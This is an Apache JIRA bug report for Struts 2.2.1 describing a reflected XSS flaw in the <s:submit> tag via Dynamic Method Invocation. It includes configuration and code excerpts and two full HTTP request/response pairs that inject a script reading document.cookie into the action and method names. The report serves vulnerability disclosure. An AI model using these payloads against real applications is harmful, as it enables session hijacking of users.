<s:submit> XSS vulnerability
----------------------------

                 Key: WW-3579
                 URL: https://issues.apache.org/jira/browse/WW-3579
             Project: Struts 2
          Issue Type: Bug
    Affects Versions: 2.2.1
         Environment: Application Server: Oracle WebLogic 10.3.3.0
JRE: 1.6.9_05-b13
Development Framework: Struts 2.2.1 (with XWork 2.2.1)
            Reporter: Marian Ventuneac



Reflected XSS attacks can be performed on applications using Struts 2.2.1 (with 
XWork 2.2.1) via <s:submit> tag when the following conditions are met: 

- no declarative error handling rule is defined in struts.xml with 
<global-exception-mappings>   AND
- Dynamic Method Invocation is enabled (this is enabled by default)   AND
- bash syntax is used in JSP via <s:submit> tag for calling Struts actions and 
methods   AND  (
- the called method is not defined in the action implementation class   OR
- the called action is not matching one already defined in struts.xml  )

Thus, a custom error page is generated by Struts/XWork (most likely the last 
one) for rendering such errors. Due to the lack of output encoding for either 
action or method passed via <s:submit> tag using bash syntax, reflected XSS can 
be performed by injecting malicious scripting code into both the invoked action 
and method. 

Relevant Struts configuration, Java and JSP code is provided below, as well as 
two test cases showing the reflected XSS issues in Struts/XWork generated error 
page.

1. Configuration

1.1 struts.xml

NOTE: action cantlogin is used for subsequent tests

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
    "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
    "http://struts.apache.org/dtds/struts-2.0.dtd";>

<struts>

            <constant name="struts.devMode" value="false" />
            <constant name="struts.i18n.encoding" value="UTF-8" />
            <constant name="struts.codebehind.pathPrefix" 
value="/WEB-INF/pages/" />
            <constant name="struts.action.extension" value="html" />
            <constant name="struts.ui.theme" value="simple"/>
            <constant name="struts.custom.i18n.resources" 
value="ErrorCodes,ApplicationResources" />
            <constant name="struts.multipart.maxSize" value="26214400"/>
    
            <!-- Include Struts defaults -->
            <include file="struts-default.xml" />
            
            <!-- Configuration for the default package. -->
            <package name="default" extends="struts-default">
       
...                        
                        <global-results>
                                    <result name="login" 
type="redirectAction">home</result>
                                    <result name="sslError">/error.jsp</result>
                        </global-results>
                                                
                        ...
            
                        <action name="login" 
class="some_path.action.LoginAction">
                                    <param name="fieldSetNames">...</param>
                                    <result 
name="input">/WEB-INF/pages/home.jsp</result>
                                    <result 
name="error">/WEB-INF/pages/home.jsp</result>
                                    <result name="cantlogin" 
type="redirectAction">
                                                <param 
name="actionName">cantlogin</param>
                                                <param 
name="userId">${userId}</param>
                                    </result>
                                    <result name="proceed" 
type="redirect">landing.html</result>
                        </action>
                        
                        
            </package>

</struts>



1.2 checking for Dynamic Method Invocation in the Struts 2.2.1 source code 
(struts2-core-2.2.1-sources.jar), the DMI setting is set to true in 
default.properties

struts.enable.DynamicMethodInvocation = true 



2. Code

2.1 LoginAction.java

package some_path.action;
...
public class LoginAction extends BaseAction {

            public static final String CANTLOGIN = "cantlogin";
            ...       
            public String cantLogin(){
                        String returnType = ERROR;
                        try {
                                ...
                                returnType = CANTLOGIN;
                        } catch (CException ce) {
                                    
setMessage(getText(ce.getErrorCode().trim()));
                        }catch (Exception e) {
                                    setMessage(getText("ERR_GENERIC"));
                        }
                        return returnType;
            }

            public String doLogin() {
                        String returnType = ERROR;
                        try {
                               ...
                        } catch (CException ce) {
                                    
setMessage(getText(ce.getErrorCode().trim()));
                        } catch (Exception e) {
                                    setMessage(getText("ERR_GENERIC"));
                        }
                        return returnType;
            }
}


2.2 login.jsp

<!DOCTYPE html PUBLIC "-// W3C//DTD XHTML 1.0 Transitional//EN" 
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd";>
<%@ include file="/common/taglibs.jsp"%>
<html xmlns="http://www.w3.org/1999/xhtml";>
<head>
...
</head>
<body>
...
 <form name="loginform" id="loginform" method="post" action="">
   ...
   <s:submit action="login" method="doLogin" name="signin" key="sign.in" 
cssClass="login-submit" theme="simple" />
   <s:submit action="login" method="cantLogin" name="cantlogin" 
key="cant.login" cssClass="cant-login right" theme="simple" />
   </form>
...
</body>
</html>




NOTE: For the tests detailed in section 3, <s:submit > tag is used to call 
cantLogin method of LoginAction class. 

In HTML code this is rendered using the bash syntax as shown below:

...
   <input type="submit" id="cantlogin" name="action:login!cantLogin" 
value="Can't login" class="cant-login right"/>
 
                          </div>         
                          </form>
...


3. XSS Tests

3.1 passing in a nonexisting method 
cantLogin<script>alert(document.cookie)</script>


HTTP request:

POST http://test.app.net/home.html HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, 
application/x-shockwave-flash, application/xaml+xml, 
application/vnd.ms-xpsdocument, application/x-ms-xbap, 
application/x-ms-application, */*
Referer: http://test.app.net/home.html
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 
1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; 
.NET CLR 3.5.30729)
Proxy-Connection: Keep-Alive
Host: test.app.net
Pragma: no-cache
Cookie: 
JSESSIONID=pqghNp0cQb46PcrgY6SL4nG9GnFq9bDpq7L6Vyk4nsV8sQjd01Gc!1161154239
Content-Length: 112

USER_ID=&PASSWORD=&action%3Alogin%21cantLogin<script>alert(document.cookie)</script>=Can%27t+login



HTTP response:

HTTP/1.1 500 Internal Server Error
Date: Fri, 18 Feb 2011 18:16:51 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 97
Proxy-Connection: Keep-Alive
Connection: Keep-Alive
Set-Cookie: ACE-Insert=R4124232031; path=/
Age: 0

some_path.action.LoginAction.cantLogin<script>alert(document.cookie)</script>()



NOTE 1: Without proper output escaping for the invoked method (which is 
controlled by the user), the injected scripting code will be executed by the 
browser (the HTTP response's content-type header is set to text/html). 

This allows successful reflected XSS attacks using <s:submit> tag.


NOTE 2: the returned error also exposes internal paths for the Java class 
implementing the action for which we manipulate the method to be called 
(LoginAction in this case). 



3.2 passing in a nonexistent action login<script>alert(document.cookie)</script>


HTTP request:

POST http://test.app.net/home.html HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, 
application/x-shockwave-flash, application/xaml+xml, 
application/vnd.ms-xpsdocument, application/x-ms-xbap, 
application/x-ms-application, */*
Referer: http://test.app.net/home.html
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 
1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; 
.NET CLR 3.5.30729)
Proxy-Connection: Keep-Alive
Host: test.app.net
Pragma: no-cache
Cookie: 
JSESSIONID=pqghNp0cQb46PcrgY6SL4nG9GnFq9bDpq7L6Vyk4nsV8sQjd01Gc!1161154239
Content-Length: 112

USER_ID=&PASSWORD=&action%3Alogin<script>alert(document.cookie)</script>%21cantLogin=Can%27t+login



HTTP response:

HTTP/1.1 404 Not Found
Date: Fri, 18 Feb 2011 18:21:33 GMT
Content-Type: text/html; charset=UTF-8
X-GMS-SVR: wpFour
Content-Length: 103
Proxy-Connection: Keep-Alive
Connection: Keep-Alive
Set-Cookie: ACE-Insert=R4124232031; path=/
Age: 0

There is no Action mapped for namespace / and action name 
login<script>alert(document.cookie)</script>.


NOTE: Without proper output escaping for the invoked action (which is 
controlled by the user), the injected scripting code will be executed by the 
browser (the HTTP response's content-type header is set to text/html). 

This allows successful reflected XSS attacks using <s:submit> tag.




-- 
This message is automatically generated by JIRA.
-
For more information on JIRA, see: http://www.atlassian.com/software/jira

        

Reply via email to